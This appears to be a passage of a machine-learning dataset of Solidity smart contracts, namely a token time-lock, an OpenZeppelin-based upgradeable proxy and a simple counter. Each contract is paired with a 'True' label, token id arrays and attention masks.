assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public{
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 30240000;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x992b4Fa1b2FBB66a2223e14Ca71Ed397B7F4DEeE;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2324,
1025,
1013,
1008,
1008,
1008,
1030,
2516,
3647,
18900,
2232,
1008,
1030,
16475,
8785,
3136,
2007,
3808,
14148,
2008,
5466,
2006,
7561,
1008,
1013,
3075,
3647,
18900,
2232,
1063,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1008,
1038,
1025,
20865,
1006,
1037,
1027,
1027,
1014,
1064,
1064,
1039,
1013,
1037,
1027,
1027,
1038,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4487,
2615,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
1013,
1013,
20865,
1006,
1038,
1028,
1014,
1007,
1025,
1013,
1013,
5024,
3012,
8073,
11618,
2043,
16023,
2011,
1014,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1013,
1038,
1025,
1013,
1013,
20865,
1006,
1037,
1027,
1027,
1038,
1008,
1039,
1009,
1037,
1003,
1038,
1007,
1025,
1013,
1013,
2045,
2003,
2053,
2553,
1999,
2029,
2023,
2987,
1005,
1056,
2907,
2709,
1039,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
20865,
1006,
1038,
1026,
1027,
1037,
1007,
1025,
2709,
1037,
1011,
1038,
1025,
1065,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
20865,
1006,
1039,
1028,
1027,
1037,
1007,
1025,
2709,
1039,
1025,
1065,
1065,
3206,
19204,
1063,
3853,
5703,
11253,
1006,
4769,
1035,
3954,
1007,
2270,
5377,
5651,
1006,
21318,
3372,
17788,
2575,
5703,
1007,
1025,
3853,
4651,
1006,
4769,
1035,
2000,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
2270,
5651,
1006,
22017,
2140,
3112,
1007,
1025,
1065,
3206,
2219,
3085,
1063,
4769,
2270,
3954,
1025,
2724,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
25331,
3025,
12384,
2121,
1010,
4769,
25331,
2047,
12384,
2121,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
1996,
2219,
3085,
9570,
2953,
4520,
1996,
2434,
1036,
3954,
1036,
1997,
1996,
3206,
2000,
1996,
4604,
2121,
1008,
4070,
1012,
1008,
1013,
9570,
2953,
1006,
1007,
2270,
1063,
3954,
1027,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
11618,
2065,
2170,
2011,
2151,
4070,
2060,
2084,
1996,
3954,
1012,
1008,
1013,
16913,
18095,
2069,
12384,
2121,
1006,
1007,
1063,
5478,
1006,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
3954,
1007,
1025,
1035,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
4473,
1996,
2783,
3954,
2000,
4651,
2491,
1997,
1996,
3206,
2000,
1037,
2047,
12384,
2121,
1012,
1008,
1030,
11498,
2213,
2047,
12384,
2121,
1996,
4769,
2000,
4651,
6095,
2000,
1012,
1008,
1013,
3853,
4651,
12384,
2545,
5605,
1006,
4769,
2047,
12384,
2121,
1007,
2069,
12384,
2121,
2270,
1063,
5478,
1006,
2047,
12384,
2121,
999,
1027,
4769,
1006,
1014,
1007,
1007,
1025,
12495,
2102,
6095,
6494,
3619,
7512,
5596,
1006,
3954,
1010,
2047,
12384,
2121,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
pragma solidity 0.8.0;
// SPDX-License-Identifier: MIT
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal {
// solhint-disable-next-line no-inline-assembly
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback () external payable {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive () external payable {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an
* implementation address that can be changed. This address is stored in storage in the location specified by
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the
* implementation behind the proxy.
*
* Upgradeability is only provided internally through {_upgradeTo}. For an externally upgradeable proxy see
* {TransparentUpgradeableProxy}.
*/
contract UpgradeableProxy is Proxy {
/**
* @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
*
* If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded
* function call, and allows initializating the storage of the proxy like a Solidity constructor.
*/
constructor(address _logic, bytes memory _data) payable {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
// solhint-disable-next-line avoid-low-level-calls
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "UpgradeableProxy: new implementation is not a contract");
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, newImplementation)
}
}
}
contract TransparentUpgradeableProxy is UpgradeableProxy {
/**
* @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and
* optionally initialized with `_data` as explained in {UpgradeableProxy-constructor}.
*/
constructor(address _logic, address admin_, bytes memory _data) payable UpgradeableProxy(_logic, _data) {
assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
_setAdmin(admin_);
}
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 private constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @dev Returns the current admin.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103`
*/
function admin() external ifAdmin returns (address admin_) {
admin_ = _admin();
}
/**
* @dev Returns the current implementation.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc`
*/
function implementation() external ifAdmin returns (address implementation_) {
implementation_ = _implementation();
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "TransparentUpgradeableProxy: new admin is the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the implementation of the proxy.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified
* by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the
* proxied contract.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin {
_upgradeTo(newImplementation);
// solhint-disable-next-line avoid-low-level-calls
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @dev Returns the current admin.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = _ADMIN_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
adm := sload(slot)
}
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
bytes32 slot = _ADMIN_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Makes sure the admin cannot access the fallback function. See {Proxy-_beforeFallback}.
*/
function _beforeFallback() internal override virtual {
require(msg.sender != _admin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target");
super._beforeFallback();
}
}
// import { InitializableAdminUpgradeabilityProxy } from "../shared/@openzeppelin-2.5/upgrades/InitializableAdminUpgradeabilityProxy.sol";
/**
* @notice AssetProxy delegates calls to a Masset implementation
* @dev Extending on OpenZeppelin's InitializableAdminUpgradabilityProxy
* means that the proxy is upgradable through a ProxyAdmin. AssetProxy upgrades
* are implemented by a DelayedProxyAdmin, which enforces a 1 week opt-out period.
* All upgrades are governed through the current mStable governance.
*/
contract AssetProxy is TransparentUpgradeableProxy {
constructor(
address _logic,
address admin_,
bytes memory _data
) payable TransparentUpgradeableProxy(_logic, admin_, _data) {}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
1013,
1008,
1008,
1008,
1030,
16475,
2023,
10061,
3206,
3640,
1037,
2991,
5963,
3853,
2008,
10284,
2035,
4455,
2000,
2178,
3206,
2478,
1996,
23408,
2213,
1008,
7899,
1036,
11849,
9289,
2140,
1036,
1012,
2057,
6523,
2000,
1996,
2117,
3206,
2004,
1996,
1035,
7375,
1035,
2369,
1996,
24540,
1010,
1998,
2009,
2038,
2000,
1008,
2022,
9675,
2011,
2058,
21930,
1996,
7484,
1063,
1035,
7375,
1065,
3853,
1012,
1008,
1008,
5678,
1010,
10656,
2000,
1996,
7375,
2064,
2022,
13330,
21118,
2083,
1996,
1063,
1035,
2991,
5963,
1065,
3853,
1010,
2030,
2000,
1037,
1008,
2367,
3206,
2083,
1996,
1063,
1035,
11849,
1065,
3853,
1012,
1008,
1008,
1996,
3112,
1998,
2709,
2951,
1997,
1996,
11849,
2094,
2655,
2097,
2022,
2513,
2067,
2000,
1996,
20587,
1997,
1996,
24540,
1012,
1008,
1013,
10061,
3206,
24540,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
10284,
1996,
2783,
2655,
2000,
1036,
7375,
1036,
1012,
1008,
1008,
2023,
3853,
2515,
2025,
2709,
2000,
2049,
4722,
2140,
2655,
2609,
1010,
2009,
2097,
2709,
3495,
2000,
1996,
6327,
20587,
1012,
1008,
1013,
3853,
1035,
11849,
1006,
4769,
7375,
1007,
4722,
1063,
1013,
1013,
14017,
10606,
2102,
1011,
4487,
19150,
1011,
2279,
1011,
2240,
2053,
1011,
23881,
1011,
3320,
3320,
1063,
1013,
1013,
6100,
5796,
2290,
1012,
2951,
1012,
2057,
2202,
2440,
2491,
1997,
3638,
1999,
2023,
23881,
3320,
1013,
1013,
3796,
2138,
2009,
2097,
2025,
2709,
2000,
5024,
3012,
3642,
1012,
2057,
2058,
26373,
1996,
1013,
1013,
5024,
3012,
11969,
11687,
2012,
3638,
2597,
1014,
1012,
2655,
2850,
2696,
3597,
7685,
1006,
1014,
1010,
1014,
1010,
2655,
2850,
10230,
4697,
1006,
1007,
1007,
1013,
1013,
2655,
1996,
7375,
1012,
1013,
1013,
2041,
1998,
21100,
4697,
2024,
1014,
2138,
2057,
2123,
1005,
1056,
2113,
1996,
2946,
2664,
1012,
2292,
2765,
1024,
1027,
11849,
9289,
2140,
1006,
3806,
1006,
1007,
1010,
7375,
1010,
1014,
1010,
2655,
2850,
10230,
4697,
1006,
1007,
1010,
1014,
1010,
1014,
1007,
1013,
1013,
6100,
1996,
2513,
2951,
1012,
2709,
2850,
2696,
3597,
7685,
1006,
1014,
1010,
1014,
1010,
2709,
2850,
10230,
4697,
1006,
1007,
1007,
6942,
2765,
1013,
1013,
11849,
9289,
2140,
5651,
1014,
2006,
7561,
1012,
2553,
1014,
1063,
7065,
8743,
1006,
1014,
1010,
2709,
2850,
10230,
4697,
1006,
1007,
1007,
1065,
12398,
1063,
2709,
1006,
1014,
1010,
2709,
2850,
10230,
4697,
1006,
1007,
1007,
1065,
1065,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
2023,
2003,
1037,
7484,
3853,
2008,
2323,
2022,
2058,
15637,
2078,
2061,
2009,
5651,
1996,
4769,
2000,
2029,
1996,
2991,
5963,
3853,
1008,
1998,
1063,
1035,
2991,
5963,
1065,
2323,
11849,
1012,
1008,
1013,
3853,
1035,
7375,
1006,
1007,
4722,
7484,
3193,
5651,
1006,
4769,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
10284,
1996,
2783,
2655,
2000,
1996,
4769,
2513,
2011,
1036,
1035,
7375,
1006,
1007,
1036,
1012,
1008,
1008,
2023,
3853,
2515,
2025,
2709,
2000,
2049,
4722,
2140,
2655,
2609,
1010,
2009,
2097,
2709,
3495,
2000,
1996,
6327,
20587,
1012,
1008,
1013,
3853,
1035,
2991,
5963,
1006,
1007,
4722,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <0.9.0;
contract Counter {
uint public count = 0;
function increment() public returns(uint) {
count += 1;
return count;
}
} | True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1028,
1027,
1014,
1012,
1021,
1012,
1014,
1026,
1014,
1012,
1023,
1012,
1014,
1025,
3206,
4675,
1063,
21318,
3372,
2270,
4175,
1027,
1014,
1025,
3853,
4297,
28578,
4765,
1006,
1007,
2270,
5651,
1006,
21318,
3372,
1007,
1063,
4175,
1009,
1027,
1015,
1025,
2709,
4175,
1025,
1065,
1065,
102,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
